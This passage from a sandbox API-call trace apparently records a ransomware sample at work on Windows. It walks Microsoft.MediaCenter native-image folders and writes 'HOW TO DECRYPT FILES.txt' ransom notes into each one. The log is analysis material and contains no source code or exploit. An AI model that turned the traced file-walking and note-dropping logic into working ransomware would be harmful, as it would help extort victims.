lpString2="Microsoft.MediaCenter.Bml.ni.dll") returned -1 [0108.244] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.MediaCenter.Bml.ni.dll") returned -1 [0108.244] lstrcmpiA (lpString1="", lpString2="Microsoft.MediaCenter.Bml.ni.dll") returned -1 [0108.244] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\b883b83d1f72f1fcaf4acdef3c9c381f\\*.*") returned="*.*" [0108.244] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\b883b83d1f72f1fcaf4acdef3c9c381f\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\b883b83d1f72f1fcaf4acdef3c9c381f\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\b883b83d1f72f1fcaf4acdef3c9c381f\\" [0108.244] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\b883b83d1f72f1fcaf4acdef3c9c381f\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\b883b83d1f72f1fcaf4acdef3c9c381f\\") returned="" [0108.245] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\b883b83d1f72f1fcaf4acdef3c9c381f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\b883b83d1f72f1fcaf4acdef3c9c381f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\b883b83d1f72f1fcaf4acdef3c9c381f\\HOW TO DECRYPT FILES.txt" [0108.245] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\b883b83d1f72f1fcaf4acdef3c9c381f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.mediacent#\\b883b83d1f72f1fcaf4acdef3c9c381f\\how to decrypt files.txt")) returned 0xffffffff [0108.245] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\b883b83d1f72f1fcaf4acdef3c9c381f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.mediacent#\\b883b83d1f72f1fcaf4acdef3c9c381f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.248] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.248] CloseHandle (hObject=0x90) returned 1 [0108.248] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\b883b83d1f72f1fcaf4acdef3c9c381f\\", lpString2="Microsoft.MediaCenter.Bml.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\b883b83d1f72f1fcaf4acdef3c9c381f\\Microsoft.MediaCenter.Bml.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\b883b83d1f72f1fcaf4acdef3c9c381f\\Microsoft.MediaCenter.Bml.ni.dll" [0108.248] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\b883b83d1f72f1fcaf4acdef3c9c381f\\Microsoft.MediaCenter.Bml.ni.dll", pszSpec="*.ems") returned 0 [0108.249] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30f8c081, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30f8c081, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xe7c7df63, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x170600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.Bml.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.249] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.249] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60d73ec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60d73ec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x60d73ec0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="ce17670e5d6d33a85e64766e340a2176", cAlternateFileName="CE1767~1")) returned 1 [0108.249] lstrcmpA (lpString1=".", lpString2="ce17670e5d6d33a85e64766e340a2176") returned -1 [0108.249] lstrcmpA (lpString1="..", lpString2="ce17670e5d6d33a85e64766e340a2176") returned -1 [0108.249] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\*.*") returned="*.*" [0108.249] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\", lpString2="ce17670e5d6d33a85e64766e340a2176" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ce17670e5d6d33a85e64766e340a2176") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ce17670e5d6d33a85e64766e340a2176" [0108.249] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ce17670e5d6d33a85e64766e340a2176\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60d73ec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60d73ec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x60d73ec0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.250] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.250] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60d73ec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60d73ec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x60d73ec0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.250] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.250] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.250] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310245ed, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x310245ed, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9e76bebe, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.Playback.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.250] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.250] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.MediaCenter.Playback.ni.dll") returned -1 [0108.250] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.MediaCenter.Playback.ni.dll") returned -1 [0108.250] lstrcmpiA (lpString1="", lpString2="Microsoft.MediaCenter.Playback.ni.dll") returned -1 [0108.250] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ce17670e5d6d33a85e64766e340a2176\\*.*") returned="*.*" [0108.250] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ce17670e5d6d33a85e64766e340a2176\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ce17670e5d6d33a85e64766e340a2176\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ce17670e5d6d33a85e64766e340a2176\\" [0108.250] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ce17670e5d6d33a85e64766e340a2176\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ce17670e5d6d33a85e64766e340a2176\\") returned="" [0108.250] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ce17670e5d6d33a85e64766e340a2176\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ce17670e5d6d33a85e64766e340a2176\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ce17670e5d6d33a85e64766e340a2176\\HOW TO DECRYPT FILES.txt" [0108.250] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ce17670e5d6d33a85e64766e340a2176\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.mediacent#\\ce17670e5d6d33a85e64766e340a2176\\how to decrypt files.txt")) returned 0xffffffff [0108.251] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ce17670e5d6d33a85e64766e340a2176\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.mediacent#\\ce17670e5d6d33a85e64766e340a2176\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.258] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.258] CloseHandle (hObject=0x90) returned 1 [0108.258] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ce17670e5d6d33a85e64766e340a2176\\", lpString2="Microsoft.MediaCenter.Playback.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ce17670e5d6d33a85e64766e340a2176\\Microsoft.MediaCenter.Playback.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ce17670e5d6d33a85e64766e340a2176\\Microsoft.MediaCenter.Playback.ni.dll" [0108.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ce17670e5d6d33a85e64766e340a2176\\Microsoft.MediaCenter.Playback.ni.dll", pszSpec="*.ems") returned 0 [0108.258] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310245ed, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x310245ed, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9e76bebe, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.Playback.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.258] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.258] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61530640, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61530640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x61530640, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="dc34242bf840d340e94d2657c7c33371", cAlternateFileName="DC3424~1")) returned 1 [0108.258] lstrcmpA (lpString1=".", lpString2="dc34242bf840d340e94d2657c7c33371") returned -1 [0108.259] lstrcmpA (lpString1="..", lpString2="dc34242bf840d340e94d2657c7c33371") returned -1 [0108.259] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\*.*") returned="*.*" [0108.259] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\", lpString2="dc34242bf840d340e94d2657c7c33371" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\dc34242bf840d340e94d2657c7c33371") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\dc34242bf840d340e94d2657c7c33371" [0108.259] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\dc34242bf840d340e94d2657c7c33371\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61530640, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61530640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x61530640, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.259] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.259] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61530640, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61530640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x61530640, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.260] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.260] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.260] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d76d87, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30d76d87, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9fc19e04, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0xebc00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.Sports.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.260] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.260] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.MediaCenter.Sports.ni.dll") returned -1 [0108.260] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.MediaCenter.Sports.ni.dll") returned -1 [0108.260] lstrcmpiA (lpString1="", lpString2="Microsoft.MediaCenter.Sports.ni.dll") returned -1 [0108.260] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\dc34242bf840d340e94d2657c7c33371\\*.*") returned="*.*" [0108.260] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\dc34242bf840d340e94d2657c7c33371\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\dc34242bf840d340e94d2657c7c33371\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\dc34242bf840d340e94d2657c7c33371\\" [0108.260] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\dc34242bf840d340e94d2657c7c33371\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\dc34242bf840d340e94d2657c7c33371\\") returned="" [0108.260] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\dc34242bf840d340e94d2657c7c33371\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\dc34242bf840d340e94d2657c7c33371\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\dc34242bf840d340e94d2657c7c33371\\HOW TO DECRYPT FILES.txt" [0108.260] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\dc34242bf840d340e94d2657c7c33371\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.mediacent#\\dc34242bf840d340e94d2657c7c33371\\how to decrypt files.txt")) returned 0xffffffff [0108.260] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\dc34242bf840d340e94d2657c7c33371\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.mediacent#\\dc34242bf840d340e94d2657c7c33371\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.264] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.264] CloseHandle (hObject=0x90) returned 1 [0108.264] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\dc34242bf840d340e94d2657c7c33371\\", lpString2="Microsoft.MediaCenter.Sports.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\dc34242bf840d340e94d2657c7c33371\\Microsoft.MediaCenter.Sports.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\dc34242bf840d340e94d2657c7c33371\\Microsoft.MediaCenter.Sports.ni.dll" [0108.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\dc34242bf840d340e94d2657c7c33371\\Microsoft.MediaCenter.Sports.ni.dll", pszSpec="*.ems") returned 0 [0108.264] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d76d87, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30d76d87, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9fc19e04, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0xebc00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.Sports.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.265] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.265] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60a541e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60a541e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x60a541e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="ef44c6dfcb60c7b8bc8c26847048d6e5", cAlternateFileName="EF44C6~1")) returned 1 [0108.265] lstrcmpA (lpString1=".", lpString2="ef44c6dfcb60c7b8bc8c26847048d6e5") returned -1 [0108.265] lstrcmpA (lpString1="..", lpString2="ef44c6dfcb60c7b8bc8c26847048d6e5") returned -1 [0108.265] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\*.*") returned="*.*" [0108.265] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\", lpString2="ef44c6dfcb60c7b8bc8c26847048d6e5" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ef44c6dfcb60c7b8bc8c26847048d6e5") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ef44c6dfcb60c7b8bc8c26847048d6e5" [0108.265] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ef44c6dfcb60c7b8bc8c26847048d6e5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60a541e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60a541e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x60a541e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.265] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.265] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60a541e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60a541e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x60a541e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.266] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.266] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.266] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310245ed, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x310245ed, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9e367996, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x25400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.ITVVM.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.266] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.266] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.MediaCenter.ITVVM.ni.dll") returned -1 [0108.266] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.MediaCenter.ITVVM.ni.dll") returned -1 [0108.266] lstrcmpiA (lpString1="", lpString2="Microsoft.MediaCenter.ITVVM.ni.dll") returned -1 [0108.266] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ef44c6dfcb60c7b8bc8c26847048d6e5\\*.*") returned="*.*" [0108.266] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ef44c6dfcb60c7b8bc8c26847048d6e5\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ef44c6dfcb60c7b8bc8c26847048d6e5\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ef44c6dfcb60c7b8bc8c26847048d6e5\\" [0108.266] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ef44c6dfcb60c7b8bc8c26847048d6e5\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ef44c6dfcb60c7b8bc8c26847048d6e5\\") returned="" [0108.266] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ef44c6dfcb60c7b8bc8c26847048d6e5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ef44c6dfcb60c7b8bc8c26847048d6e5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ef44c6dfcb60c7b8bc8c26847048d6e5\\HOW TO DECRYPT FILES.txt" [0108.266] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ef44c6dfcb60c7b8bc8c26847048d6e5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.mediacent#\\ef44c6dfcb60c7b8bc8c26847048d6e5\\how to decrypt files.txt")) returned 0xffffffff [0108.266] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ef44c6dfcb60c7b8bc8c26847048d6e5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.mediacent#\\ef44c6dfcb60c7b8bc8c26847048d6e5\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.269] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.269] CloseHandle (hObject=0x90) returned 1 [0108.269] lstrcatA (in: 